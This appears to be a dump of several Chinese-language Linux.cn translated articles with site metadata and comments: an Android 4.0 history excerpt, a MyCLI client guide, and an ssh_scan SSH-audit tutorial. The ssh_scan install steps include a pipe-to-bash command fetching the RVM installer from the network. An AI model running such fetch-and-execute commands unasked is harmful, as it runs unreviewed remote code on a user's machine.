在邮件视图下，往下滚动屏幕时蓝色栏有“粘性”。它会固定在屏幕顶部，所以你一直可以看到该邮件是谁写的，回复它，或者给它加星标。一旦处于邮件消息界面，底部细长的、深灰色栏会显示你当前在收件箱（或你所在的某个列表）的位置，并且你可以向左或向右滑动来切换到其他邮件。
Google Talk 允许你像在 Gmail 中那样左右滑动来切换聊天窗口，但是这里显示栏是在顶部。
*新的拨号和来电界面，都是姜饼以来我们还没见过的。 [Ron Amadeo 供图]*
因为蜂巢只给平板使用，所以一些界面设计直接超前于姜饼。冰淇淋三明治的新拨号界面就是如此，黑色和蓝色相间，并且使用了可滑动切换的小标签。尽管冰淇淋三明治终于做对了，将电话主体和联系人独立开来，但电话应用还是有它自己的联系人标签。现在有两个地方可以看到你的联系人列表——一个有着暗色主题，另一个有着亮色主题。由于实体搜索按钮不再是硬性要求，底部的按钮栏的语音信息快捷方式被替换为了搜索图标。
谷歌几乎就是把来电界面做成了锁屏界面的镜像，这意味着冰淇淋三明治有着一个环状解锁设计。除了通常的接受和挂断选项，圆环的顶部还添加了一个按钮，让你可以挂断来电并给对方发送一条预先定义好的信息。向上滑动并选择一条信息如“现在无法接听，一会回电”，相比于一直响个不停的手机而言这样做的信息交流更加丰富。
*蜂巢没有文件夹和信息应用，所以这里是冰淇淋三明治和姜饼的对比。 [Ron Amadeo 供图]*
现在创建文件夹更加方便了。在姜饼中，你得长按屏幕，选择“文件夹”选项，再点击“新文件夹”。在冰淇淋三明治中，你只要将一个图标拖拽到另一个图标上面，就会自动创建一个文件夹，并包含这两个图标。这简直不能更简单了，比寻找隐藏的长按命令容易多了。
设计上也有很大的改进。姜饼使用了一个通用的米黄色文件夹图标，但冰淇淋三明治直接显示出了文件夹中的头三个应用，把它们的图标叠在一起，在外侧画一个圆圈，并将其设置为文件夹图标。打开文件夹容器将自动调整大小以适应文件夹中的应用图标数目，而不是显示一个全屏的，大部分都是空的对话框。这看起来好得多得多。
*Youtube 转换到一个更加现代的白色主题，使用了列表视图替换疯狂的 3D 滚动视图。 [Ron Amadeo 供图]*
Youtube 经过了完全的重新设计，看起来没那么像是来自黑客帝国的产物，更像是，嗯，Youtube。它现在就是一个简单的垂直滚动的白色视频列表，就像网站的那样。在你手机上制作视频受到了重视，操作栏的第一个按钮专用于拍摄视频。奇怪的是，不同的界面左上角使用了不同的 Youtube 标志，在水平的 Youtube 标志和方形标志之间切换。
Youtube 几乎在所有地方都使用了滑动标签页。它们被放置在主页面以在浏览和账户间切换，放置在视频页面以在评论，介绍和相关视频之间切换。4.0 版本的应用显示出 Google+ Youtube 集成的第一个信号，通常的评分按钮旁边放置了 “+1” 图标。最终 Google+ 会完全占据 Youtube，将评论和作者页面变成 Google+ 活动。
*冰淇淋三明治试着让事情对所有人都更加简单。这里是数据使用量追踪，打开许多数据的新开发者选项，以及使用向导。 [Ron Amadeo 供图]*
数据使用量允许用户更轻松地追踪和控制他们的数据使用。主页面显示一个月度使用量图表，用户可以设置数据使用警告值或者硬性使用限制以避免超量使用产生费用。所有的这些只需简单地拖动橙色和红色水平限制线在图表上的位置即可。纵向的白色把手允许用户选择图表上的一段指定时间段。在页面底部，选定时间段内的数据使用量又细分到每个应用，所以用户可以选择一个数据使用高峰并轻松地查看哪个应用在消耗大量流量。当流量紧张的时候，更多操作按钮中有个限制所有后台流量的选项。设置之后只用在前台运行的程序有权连接互联网。
开发者选项通常只有一点点设置选项，但是在冰淇淋三明治中，这部分有非常多选项。谷歌添加了所有类型的屏幕诊断显示浮层来帮助开发者理解他们的应用中发生了什么。你可以看到 CPU 使用率，触摸点位置，还有视图界面更新。还有些选项可以更改系统功能，比如控制动画速度，后台处理，以及 GPU 渲染。
安卓和 iOS 之间最大的区别之一就是应用抽屉界面。在冰淇淋三明治对更加用户友好的追求下，设备第一次初始化启动会启动一个小教程，向用户展示应用抽屉的位置以及如何将应用图标从应用抽屉拖拽到主屏幕。随着实体菜单按键的移除和像这样的改变，安卓 4.0 做了很大的努力变得对新智能手机用户和转换过来的用户更有吸引力。
*“触摸分享”NFC 支持，Google Earth，以及应用信息，让你可以禁用垃圾软件。*
冰淇淋三明治内置对 [NFC](http://arstechnica.com/gadgets/2011/02/near-field-communications-a-technology-primer/) 的完整支持。尽管之前的设备，比如 Nexus S 也拥有 NFC，得到的支持是有限的并且系统并不能利用芯片做太多事情。4.0 添加了一个“Android Beam”功能，两台拥有 NFC 的安卓 4.0 设备可以借此在设备间来回传输数据。NFC 会传输关于此时屏幕显示的数据，因此在手机显示一个网页的时候使用该功能会将该页面传送给另一部手机。你还可以发送联系人信息、方向导航，以及 Youtube 链接。当两台手机放在一起时，屏幕显示会缩小，点击缩小的界面会发送相关信息。
在安卓中，用户不允许删除系统应用，以保证系统完整性。运营商和 OEM 利用该特性并开始将垃圾软件放入系统分区，经常有一些没用的应用存在系统中。安卓 4.0 允许用户禁用任何不能被卸载的应用，意味着该应用还存在于系统中但是不显示在应用抽屉里并且不能运行。如果用户愿意深究设置项，这给了他们一个简单的途径来拿回手机的控制权。
安卓 4.0 可以看做是现代安卓时代的开始。大部分这时发布的谷歌应用只能在安卓 4.0 及以上版本运行。4.0 还有许多谷歌想要好好利用的新 API——至少最初想要——对 4.0 以下的版本的支持就有限了。在冰淇淋三明治和蜂巢之后，谷歌真的开始认真对待软件设计。在 2012 年 1 月，谷歌[最终发布了](http://arstechnica.com/business/2012/01/google-launches-style-guide-for-android-developers/) *Android Design*，一个教安卓开发者如何创建符合安卓外观和感觉的应用的设计指南站点。这是 iOS 在有第三方应用支持开始就在做的事情，苹果还严肃地对待应用的设计，不符合指南的应用都被 App Store 拒之门外。安卓三年以来谷歌没有给出任何公共设计规范文档的事实，足以说明事情有多糟糕。但随着在 Duarte 掌控下的安卓设计革命，谷歌终于发布了基本设计需求。
### Google Play 和直接面向消费者出售设备的回归
2012 年 3 月 6 日，谷歌将旗下提供的所有内容统一到 “Google Play”。安卓市场变为了 Google Play 商店，Google Books 变为 Google Play Books，Google Music 变为 Google Play Music，还有 Android Market Movies 变为 Google Play Movies & TV。尽管应用界面的变化不是很大，这四个内容应用都获得了新的名称和图标。在 Play 商店购买的内容会下载到对应的应用中，Play 商店和 Play 内容应用一道给用户提供了易管理的内容体验。
Google Play 更新是谷歌第一个大的更新周期外更新。四个自带应用都没有通过系统更新获得升级，它们都是直接通过安卓市场/ Play 商店更新的。对单独的应用启用周期外更新是谷歌的重大关注点之一，而能够实现这样的更新，是自姜饼时代开始的工程努力的顶峰。谷歌一直致力于对应用从系统“解耦”，从而让它们能够通过安卓市场/ Play 商店进行分发。
尽管一两个应用（主要是地图和 Gmail）之前就在安卓市场上，从这里开始你会看到许多更重大的更新，而其和系统发布无关。系统更新需要 OEM 厂商和运营商的合作，所以很难保证推送到每个用户手上。而 Play 商店更新则完全掌握在谷歌手上，给了谷歌一条直接到达用户设备的途径。因为 Google Play 的发布，安卓市场对自身升级到了 Google Play Store，在那之后，图书，音乐以及电影应用都下发了 Google Play 式的更新。
Google Play 系列应用的设计仍然不尽相同。每个应用的外观和功能各有差异，但暂且来说，一个统一的品牌标识是个好的开始。从品牌标识中去除“安卓”字样是很有必要的，因为很多服务是在浏览器中提供的，不需要安卓设备也能使用。
2012 年 4 月，谷歌[再次开始通过 Play 商店销售设备](http://arstechnica.com/gadgets/2011/02/near-field-communications-a-technology-primer/)，恢复在 Nexus One 发布时尝试的直接面向消费者销售的方式。尽管距 Nexus One 销售结束仅有两年，但网上购物现在更加寻常，在接触到物品之前就购买它并不像在 2010 年时听起来那么疯狂。
谷歌也看到了价格敏感的用户在面对 Nexus One 的 530 美元的价格时的反应。第一部销售的设备是无锁的，GSM 版本的 Galaxy Nexus，价格 399 美元。在那之后，价格变得更低。350 美元成为了最近两台 Nexus 设备的入门价，7 英寸 Nexus 平板的价格更是只有 200 美元到 220 美元。
今天，Play 商店销售八款不同的安卓设备，四款 Chromebook，一款自动调温器，以及许多配件，设备商店已经是谷歌新产品发布的实际地点了。新产品发布总是如此受欢迎，站点往往无法承载如此大的流量，新 Nexus 手机也在几小时内售空。
---
[Ron Amadeo](http://arstechnica.com/author/ronamadeo) / Ron是Ars Technica的评论编缉，专注于安卓系统和谷歌产品。他总是在追寻新鲜事物，还喜欢拆解事物看看它们到底是怎么运作的。[@RonAmadeo](https://twitter.com/RonAmadeo)
---
via: <http://arstechnica.com/gadgets/2016/10/building-android-a-40000-word-history-of-googles-mobile-os/20/>
译者：[alim0x](https://github.com/alim0x) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||
MyCLI ：一个支持自动补全和语法高亮的 MySQL/MariaDB 客户端
|
Aaron Kili
|
https://www.tecmint.com/mycli-mysql-client-with-auto-completion-syntax-highlighting/
|
MyCLI 是一个易于使用的命令行客户端，可用于受欢迎的数据库管理系统 MySQL、MariaDB 和 Percona，支持自动补全和语法高亮。
|
/data/attachment/album/201706/05/090536ynnzhoqhaoa8doo2.jpg.thumb.jpg
|
/data/attachment/album/201706/05/090536ynnzhoqhaoa8doo2.jpg
| true | false | true |
ucasFL
| false |
[
"MySQL",
"MyCLI"
] |
系统运维
|
{
"viewnum": 14373,
"commentnum": 2,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "112.102.51.155",
"message": "Emacs 有没有类似插件",
"username": "来自黑龙江哈尔滨的 Firefox 53.0|Windows 7 用户",
"date": "2017-06-06T11:43:40"
},
{
"postip": "211.139.108.45",
"message": "centos上pip安装命令不对，应该是yum -y install python-pip",
"username": "davidxj [Firefox 64.0|Windows 10]",
"date": "2018-12-25T09:33:17"
}
] |
[
{
"raid": 8526,
"displayorder": 0
},
{
"raid": 8561,
"displayorder": 1
}
] |
MyCLI 是一个易于使用的命令行客户端，可用于受欢迎的数据库管理系统 MySQL、MariaDB 和 Percona，支持自动补全和语法高亮。
| 2017-06-05T09:05:00 | 2017-06-05T09:05:00 | 8,575 |
/article-8575-1.html
|
MyCLI 是一个易于使用的命令行客户端，可用于受欢迎的数据库管理系统 MySQL、MariaDB 和 Percona，支持自动补全和语法高亮。它是使用 `prompt_toolkit` 库写的，需要 Python 2.7、3.3、3.4、3.5 和 3.6 的支持。MyCLI 还支持通过 SSL 安全连接到 MySQL 服务器。
#### MyCLI 的特性
* 当你第一次使用它的时候，将会自动创建一个文件 `~/.myclirc`。
* 当输入 SQL 的关键词和数据库中的表、视图和列时，支持自动补全。
* 默认情况下也支持智能补全，能根据上下文的相关性提供补全建议。
比如：
```
SELECT * FROM <Tab> - 这将显示出数据库中的表名。
SELECT * FROM users WHERE <Tab> - 这将简单的显示出列名称。
```
* 通过使用 `Pygents` 支持语法高亮
* 支持 SSL 连接
* 提供多行查询支持
* 它可以将每一个查询和输出记录到一个文件中（默认情况下禁用）。
* 允许保存收藏一个查询（使用 `\fs 别名` 保存一个查询，并可使用 `\f 别名` 运行它）。
* 支持 SQL 语句执行和表查询计时
* 以更吸引人的方式打印表格数据
### 如何在 Linux 上为 MySQL 和 MariaDB 安装 MyCLI
在 Debian/Ubuntu 发行版上，你可以很容易的像下面这样使用 `apt` 命令 来安装 MyCLI 包：
```
$ sudo apt-get update
$ sudo apt-get install mycli
```
同样，在 Fedora 22+ 上也有 MyCLI 的可用包，你可以像下面这样使用 `dnf` 命令 来安装它：
```
$ sudo dnf install mycli
```
对于其他 Linux 发行版，比如 RHEL/CentOS，你需要使用 Python 的 `pip` 工具来安装 MyCLI。首先，使用下面的命令来安装 pip：
```
$ sudo yum install pip
```
安装好 `pip` 以后，你可以像下面这样安装 MyCLI：
```
$ sudo pip install mycli
```
### 在 Linux 中如何使用 MyCLI 连接 MySQL 和 MariaDB
安装好 MyCLI 以后，你可以像下面这样使用它：
```
$ mycli -u root -h localhost
```
#### 自动补全
对于关键词和 SQL 函数可以进行简单的自动补全：
*MySQL 自动补全*
#### 智能补全
当输入 `FROM` 关键词以后会进行表名称的补全：
*MySQL 智能补全*
#### 别名支持
当表的名称设置别名以后，也支持列名称的补全：
*MySQL 别名支持*
#### 语法高亮
支持 MySQL 语法高亮：
*MySQL 语法高亮*
#### 格式化 SQL 的输出
MySQL 的输出会通过 [`less` 命令](https://www.tecmint.com/linux-more-command-and-less-command-examples/) 进行格式化输出：
*MySQL 格式化输出*
要登录 MySQL 并同时选择数据库，你可以使用和下面类似的命令：
```
$ mycli local_database
$ mycli -h localhost -u root app_db
$ mycli mysql://amjith@localhost:3306/django_poll
```
更多使用选项，请输入：
```
$ mycli --help
```
MyCLI 主页： <http://mycli.net/index>
记得阅读一些关于 MySQL 管理的有用文章：
1. [在 Linux 中用于数据库管理的 20 个 MySQL（Mysqladmin）命令](https://www.tecmint.com/mysqladmin-commands-for-database-administration-in-linux/)
2. [如何在 Linux 中更改默认的 MySQL/MariaDB 数据目录](https://www.tecmint.com/change-default-mysql-mariadb-data-directory-in-linux/)
3. [在 Linux 中监测 MySQL 性能的 4 个实用命令行工具](https://www.tecmint.com/mysql-performance-monitoring/)
4. [如何在 Linux 中更改 MySQL 或 MariaDB 的 Root 密码](/article-8328-1.html)
5. [MySQL 备份和恢复数据库管理命令](https://www.tecmint.com/mysql-backup-and-restore-commands-for-database-administration/)
MyCLI 作者写的两篇如何创建具有可发现性的交互式命令行客户端的文章：
1. [4 个拥有绝佳命令行界面的终端程序](/article-8526-1.html)
2. [4 个用于构建优秀的命令行用户界面的 Python 库](/article-8561-1.html)
这就是本文的全部内容了。在这篇指南中，我们展示了如何通过一些简单的命令在 Linux 中安装和使用 MyCLI。记得通过下面的反馈表向我们分享你关于这篇文章的想法。
---
作者简介：
Aaron Kili是一名 Linux 和 F.O.S.S 的爱好者，未来的 Linux 系统管理员、网站开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并乐于分享知识。
---
via: <https://www.tecmint.com/mycli-mysql-client-with-auto-completion-syntax-highlighting/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
ssh_scan：远程验证你 SSH 服务的配置和策略
|
Aaron Kili
|
https://www.tecmint.com/ssh_scan-ssh-configuration-and-policy-scanner-for-linux/
|
ssh_scan 是一个面向 Linux 和 UNIX 服务器的易用的 SSH 服务参数配置和策略的扫描器程序，其思路来自Mozilla OpenSSH 安全指南，这个指南为 SSH 服务参数配置提供了一个可靠的安全策略基线的建议，如加密算法（Ciphers），报文认证信息码算法（MAC），密钥交换算法（KexAlgos）和其它。
|
/data/attachment/album/201706/05/094154g4ah7ilcejlls4ii.jpg.thumb.jpg
|
/data/attachment/album/201706/05/094154g4ah7ilcejlls4ii.jpg
| true | false | true |
wcnnbdk1
| false |
[
"SSH",
"ssh_scan"
] |
系统运维
|
{
"viewnum": 7278,
"commentnum": 2,
"favtimes": 4,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "61.50.130.250",
"message": "前面讲的在安装有问题<br />\r\n系统：centos6.4<br />\r\n1.安装的是rubygems,少写了个s<br />\r\n2.yum rubygem会提示ruby版本要在2.0以上，<br />\r\n所以我使用的是源码安装的ruby 和rubygems，默认安装目录是/usr/local/bin 做个软链接到/usr/bin下就可以了",
"username": "来自北京的 Liebao|Windows 7 用户",
"date": "2017-06-07T11:29:59"
},
{
"postip": "114.245.14.245",
"message": "谢谢，已更正 :D",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-07T13:59:20"
}
] |
[] |
ssh_scan 是一个面向 Linux 和 UNIX 服务器的易用的 SSH 服务参数配置和策略的扫描器程序，其思路来自Mozilla OpenSSH 安全指南，这个指南为 SSH 服务参数配置提供了一个可靠的安全策略基线的建议，如加密算法（Ciphers），报文认证信息码算法（MAC），密钥交换算法（KexAlgos）和其它。
| 2017-06-06T09:17:00 | 2017-06-06T09:17:00 | 8,576 |
/article-8576-1.html
|
`ssh_scan` 是一个面向 Linux 和 UNIX 服务器的易用的 SSH 服务参数配置和策略的扫描器程序，其思路来自[Mozilla OpenSSH 安全指南](https://wiki.mozilla.org/Security/Guidelines/OpenSSH)，这个指南为 SSH 服务参数配置提供了一个可靠的安全策略基线的建议，如加密算法（Ciphers），报文认证信息码算法（MAC），密钥交换算法（KexAlgos）和其它。
`ssh_scan` 有如下好处：
* 它的依赖是最小化的，`ssh_scan` 只引入了本地 Ruby 和 BinData 来进行它的工作，没有太多的依赖。
* 它是可移植的，你可以在其它的项目中使用 `ssh_scan` 或者将它用在[自动化任务](https://www.tecmint.com/automating-linux-system-administration-tasks/)上。
* 它是易于使用的，只需要简单的将它指向一个 SSH 服务就可以获得一个该服务所支持的选项和策略状态的 JSON 格式报告。
* 它同时也是易于配置的，你可以创建适合你策略需求的策略。
**建议阅读：** [如何在 Linux 上安装配置 OpenSSH 服务](https://www.tecmint.com/install-openssh-server-in-linux/)
### 如何在 Linux 上安装 ssh\_scan
有如下三种安装 `ssh_scan` 的方式：
使用 Ruby gem 来安装运行，如下：
```
----------- 在 Debian/Ubuntu -----------
$ sudo apt-get install rubygems
$ sudo gem install ssh_scan
----------- 在 CentOS/RHEL -----------
# yum install ruby rubygems
# gem install ssh_scan
```
使用[docker 容器](https://www.tecmint.com/install-docker-and-learn-containers-in-centos-rhel-7-6/)来运行，如下：
```
# docker pull mozilla/ssh_scan
# docker run -it mozilla/ssh_scan /app/bin/ssh_scan -t github.com
```
使用源码安装运行，如下：
```
# git clone https://github.com/mozilla/ssh_scan.git
# cd ssh_scan
# gpg2 --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# curl -sSL https://get.rvm.io | bash -s stable
# rvm install 2.3.1
# rvm use 2.3.1
# gem install bundler
# bundle install
# ./bin/ssh_scan
```
### 如何在 Linux 上使用 ssh\_scan
使用 `ssh_scan` 的语法如下：
```
$ ssh_scan -t ip地址
$ ssh_scan -t 主机名
```
举个例子来扫描 192.168.43.198 这台服务器的 SSH 配置和策略，键入：
```
$ ssh_scan -t 192.168.43.198
```
注意你同时也可以像下方展示的给 `-t` 选项传入一个[IP地址/地址段/主机名]：
```
$ ssh_scan -t 192.168.43.198,200,205
$ ssh_scan -t test.tecmint.lan
```
输出示例：
```
I, [2017-05-09T10:36:17.913644 #7145] INFO -- : You're using the latest version of ssh_scan 0.0.19
[
{
"ssh_scan_version": "0.0.19",
"ip": "192.168.43.198",
"port": 22,
"server_banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1",
"ssh_version": 2.0,
"os": "ubuntu",
"os_cpe": "o:canonical:ubuntu:16.04",
"ssh_lib": "openssh",
"ssh_lib_cpe": "a:openssh:openssh:7.2p2",
"cookie": "68b17bcca652eeaf153ed18877770a38",
"key_algorithms": [
"curve25519-sha256@libssh.org",
"ecdh-sha2-nistp256",
"ecdh-sha2-nistp384",
"ecdh-sha2-nistp521",
"diffie-hellman-group-exchange-sha256",
"diffie-hellman-group14-sha1"
],
"server_host_key_algorithms": [
"ssh-rsa",
"rsa-sha2-512",
"rsa-sha2-256",
"ecdsa-sha2-nistp256",
"ssh-ed25519"
],
"encryption_algorithms_client_to_server": [
"chacha20-poly1305@openssh.com",
"aes128-ctr",
"aes192-ctr",
"aes256-ctr",
"aes128-gcm@openssh.com",
"aes256-gcm@openssh.com"
],
"encryption_algorithms_server_to_client": [
"chacha20-poly1305@openssh.com",
"aes128-ctr",
"aes192-ctr",
"aes256-ctr",
"aes128-gcm@openssh.com",
"aes256-gcm@openssh.com"
],
"mac_algorithms_client_to_server": [
"umac-64-etm@openssh.com",
"umac-128-etm@openssh.com",
"hmac-sha2-256-etm@openssh.com",
"hmac-sha2-512-etm@openssh.com",
"hmac-sha1-etm@openssh.com",
"umac-64@openssh.com",
"umac-128@openssh.com",
"hmac-sha2-256",
"hmac-sha2-512",
"hmac-sha1"
],
"mac_algorithms_server_to_client": [
"umac-64-etm@openssh.com",
"umac-128-etm@openssh.com",
"hmac-sha2-256-etm@openssh.com",
"hmac-sha2-512-etm@openssh.com",
"hmac-sha1-etm@openssh.com",
"umac-64@openssh.com",
"umac-128@openssh.com",
"hmac-sha2-256",
"hmac-sha2-512",
"hmac-sha1"
],
"compression_algorithms_client_to_server": [
"none",
"zlib@openssh.com"
],
"compression_algorithms_server_to_client": [
"none",
"zlib@openssh.com"
],
"languages_client_to_server": [
],
"languages_server_to_client": [
],
"hostname": "tecmint",
"auth_methods": [
"publickey",
"password"
],
"fingerprints": {
"rsa": {
"known_bad": "false",
"md5": "0e:d0:d7:11:f0:9b:f8:33:9c:ab:26:77:e5:66:9e:f4",
"sha1": "fc:8d:d5:a1:bf:52:48:a6:7e:f9:a6:2f:af:ca:e2:f0:3a:9a:b7:fa",
"sha256": "ff:00:b4:a4:40:05:19:27:7c:33:aa:db:a6:96:32:88:8e:bf:05:a1:81:c0:a4:a8:16:01:01:0b:20:37:81:11"
}
},
"start_time": "2017-05-09 10:36:17 +0300",
"end_time": "2017-05-09 10:36:18 +0300",
"scan_duration_seconds": 0.221573169,
"duplicate_host_key_ips": [
],
"compliance": {
"policy": "Mozilla Modern",
"compliant": false,
"recommendations": [
"Remove these Key Exchange Algos: diffie-hellman-group14-sha1",
"Remove these MAC Algos: umac-64-etm@openssh.com, hmac-sha1-etm@openssh.com, umac-64@openssh.com, hmac-sha1",
"Remove these Authentication Methods: password"
],
"references": [
"https://wiki.mozilla.org/Security/Guidelines/OpenSSH"
]
}
}
]
```
你可以使用 `-p` 选项来指定不同的端口，`-L` 选项来开启日志记录配合 `-V` 选项来指定日志级别：
```
$ ssh_scan -t 192.168.43.198 -p 22222 -L ssh-scan.log -V INFO
```
另外，可以使用 `-P` 或 `--policy` 选项来指定一个策略文件（默认是 Mozilla Modern）（LCTT 译注：这里的 Modern 可能指的是 <https://wiki.mozilla.org/Security/Server_Side_TLS> 中提到的 Modern compatibility ）：
```
$ ssh_scan -t 192.168.43.198 -L ssh-scan.log -V INFO -P /path/to/custom/policy/file
```
ssh\_scan 使用帮助与其它示例：
```
$ ssh_scan -h
```
输出示例：
```
ssh_scan v0.0.17 (https://github.com/mozilla/ssh_scan)
Usage: ssh_scan [options]
-t, --target [IP/Range/Hostname] IP/Ranges/Hostname to scan
-f, --file [FilePath] File Path of the file containing IP/Range/Hostnames to scan
-T, --timeout [seconds] Timeout per connect after which ssh_scan gives up on the host
-L, --logger [Log File Path] Enable logger
-O, --from_json [FilePath] File to read JSON output from
-o, --output [FilePath] File to write JSON output to
-p, --port [PORT] Port (Default: 22)
-P, --policy [FILE] Custom policy file (Default: Mozilla Modern)
--threads [NUMBER] Number of worker threads (Default: 5)
--fingerprint-db [FILE] File location of fingerprint database (Default: ./fingerprints.db)
--suppress-update-status Do not check for updates
-u, --unit-test [FILE] Throw appropriate exit codes based on compliance status
-V [STD_LOGGING_LEVEL],
--verbosity
-v, --version Display just version info
-h, --help Show this message
Examples:
ssh_scan -t 192.168.1.1
ssh_scan -t server.example.com
ssh_scan -t ::1
ssh_scan -t ::1 -T 5
ssh_scan -f hosts.txt
ssh_scan -o output.json
ssh_scan -O output.json -o rescan_output.json
ssh_scan -t 192.168.1.1 -p 22222
ssh_scan -t 192.168.1.1 -p 22222 -L output.log -V INFO
ssh_scan -t 192.168.1.1 -P custom_policy.yml
ssh_scan -t 192.168.1.1 --unit-test -P custom_policy.yml
```
SSH 服务器相关参考阅读：
1. [使用 SSH Keygen（ssh-keygen）五步实现 SSH 免密登录](https://www.tecmint.com/ssh-passwordless-login-using-ssh-keygen-in-5-easy-steps/)
2. [安全 SSH 服务器的 5 个最佳实践](/article-7683-1.html)
3. [使用 Chroot 来限制 SSH 用户进入某些目录](/article-8313-1.html)
4. [如何配置 SSH 连接来简化远程登录](/article-8306-1.html)
如果需要更详细的信息可以访问 `ssh_scan` 的 Github 仓库：<https://github.com/mozilla/ssh_scan>
---
作者简介：
Aaron Kili 是 Linux 与 F.O.S.S （自由及开源软件）爱好者，一位将来的 Linux 系统管理员，网站开发者，现在是一个热爱与计算机一起工作并且拥有强烈知识分信念的 TecMint 内容贡献者。
---
via: <https://www.tecmint.com/ssh_scan-ssh-configuration-and-policy-scanner-for-linux/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[wcnnbdk1](https://github.com/wcnnbdk1) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
理解 Linux 中的 shutdown、poweroff、halt 和 reboot 命令
|
Aaron Kili
|
https://www.tecmint.com/shutdown-poweroff-halt-and-reboot-commands-in-linux/
|
在本篇中，我们会向你解释 shutdown、poweroff、halt 以及 reboot 命令。我们会解释清楚当你用那些可用的选项执行的时候它们实际做了什么。
|
/data/attachment/album/201706/05/095810ydt5h18yh8etzhkx.jpg.thumb.jpg
|
/data/attachment/album/201706/05/095810ydt5h18yh8etzhkx.jpg
| true | false | true |
geekpi
| false |
[
"shutdown",
"poweroff",
"halt",
"reboot"
] |
技术
|
{
"viewnum": 53321,
"commentnum": 17,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "120.236.240.180",
"message": "只能说是介绍，而不是理解。<br />\r\n没什么干货。",
"username": "来自广东的 Chrome 58.0|Windows 7 用户",
"date": "2017-06-05T10:59:09"
},
{
"postip": "122.224.129.50",
"message": "这个。。。",
"username": "来自浙江杭州的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-06-05T11:01:42"
},
{
"postip": "36.110.22.58",
"message": "最重要的是要分清出"停止機器"和"關閉機器"的區別，至於用哪個命令，呵呵，這些命令是互相引用或者說互相替代的～",
"username": "来自浙江的 Vivaldi 1.9|GNU/Linux 用户",
"date": "2017-06-05T11:21:13"
},
{
"postip": "27.203.178.50",
"message": "poweroff和shutdown now一样啊",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-05T11:58:09"
},
{
"postip": "182.242.224.62",
"message": "并没有解释这些命令具体的细节和区别，差评",
"username": "来自云南昆明的 Firefox 53.0|Windows 7 用户",
"date": "2017-06-05T13:36:01"
},
{
"postip": "110.120.67.229",
"message": "并没有看懂什么。。。",
"username": "来自湖北武汉的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-06-05T15:59:32"
},
{
"postip": "171.113.119.37",
"message": "等于没写",
"username": "来自湖北武汉的 Firefox 53.0|Ubuntu 用户",
"date": "2017-06-05T17:15:34"
},
{
"postip": "58.63.60.83",
"message": ""低层维护状态"是什么意思？“底层维护”还听说过。",
"username": "文剑一飞 [Chrome 58.0|Windows 10]",
"date": "2017-06-06T08:33:00"
},
{
"postip": "61.148.244.170",
"message": "原文如此，low-level ，应该不是专有名词，可能是指，处于通电但是没有进入引导状态。",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-06T08:49:25"
},
{
"postip": "106.39.154.199",
"message": "很水啊，没有解释下几个名词的区别吗？",
"username": "来自北京的 Safari 10.1|Mac 10.12 用户",
"date": "2017-06-06T08:50:05"
},
{
"postip": "111.203.12.98",
"message": "shutdown 以一种安全的方式关闭系统。所有登陆用户都可以看到关机信息提示，并且 login 将被阻塞。<br />\r\nhalt命令，若系统的 runlevel 为 0 或 6 ，则关闭系统，否则以 shutdown 指令（加上 -h 参数）来取代。<br />\r\npoweroff命令用来关闭计算机操作系统并且切断系统电源。 <br />\r\nreboot执行reboot指令可让系统停止运作，并重新开机。<br />\r\n网上能搜到的就这些，详细的内容自己搜搜看吧，文章列出的内容确实太单一了。",
"username": "噪音未来 [Chrome 58.0|Windows 7]",
"date": "2017-06-06T16:13:46"
},
{
"postip": "118.112.206.92",
"message": "要看具体的 init 是什么，systemd 是没有 runlevel 的概念。",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-06-06T19:30:54"
},
{
"postip": "118.122.120.11",
"message": "来自 man 的简要说明<br />\r\n<br />\r\npoweroff, halt, reboot: These are legacy commands available for compatibility only. <br />\r\nshutdown: shutdown may be used to halt, power-off or reboot the machine.",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-06-07T08:18:40"
},
{
"postip": "61.50.130.250",
"message": "然而我并没有看懂",
"username": "来自北京的 Liebao|Windows 7 用户",
"date": "2017-06-07T15:23:35"
},
{
"postip": "111.75.195.227",
"message": "我选择init 0 关机init 6 重启",
"username": "来自江西南昌的 Chrome 60.0|Mac 10.12 用户",
"date": "2017-09-06T09:57:43"
},
{
"postip": "49.65.251.159",
"message": "其实我还是比较想知道shutdown -r now和reboot的区别，据我所了解的：<br />\r\n【reboot】默认情况下其实是调用了shutdown -r来进行重启的；<br />\r\n和【halt】类似，【halt】其实是调用shutdown -h命令！<br />\r\n<br />\r\n这种理解不知道是否正确？！",
"username": "来自江苏南京的 QQ Browser 10.3|Windows 10 用户",
"date": "2019-04-14T18:29:53"
},
{
"postip": "14.23.39.155",
"message": "關閉機器:主板关电<br />\r\n停止機器：主板不关电，可以看到风扇、灯都在闪",
"username": "来自广东广州的 Firefox 106.0|Windows 10 用户",
"date": "2022-11-12T15:29:21"
}
] |
[] |
在本篇中，我们会向你解释 shutdown、poweroff、halt 以及 reboot 命令。我们会解释清楚当你用那些可用的选项执行的时候它们实际做了什么。
| 2017-06-05T09:58:38 | 2017-06-05T09:58:38 | 8,577 |
/article-8577-1.html
|
在本篇中，我们会向你解释 `shutdown`、`poweroff`、`halt` 以及 `reboot` 命令。我们会解释清楚当你用那些可用的选项执行的时候它们实际做了什么。
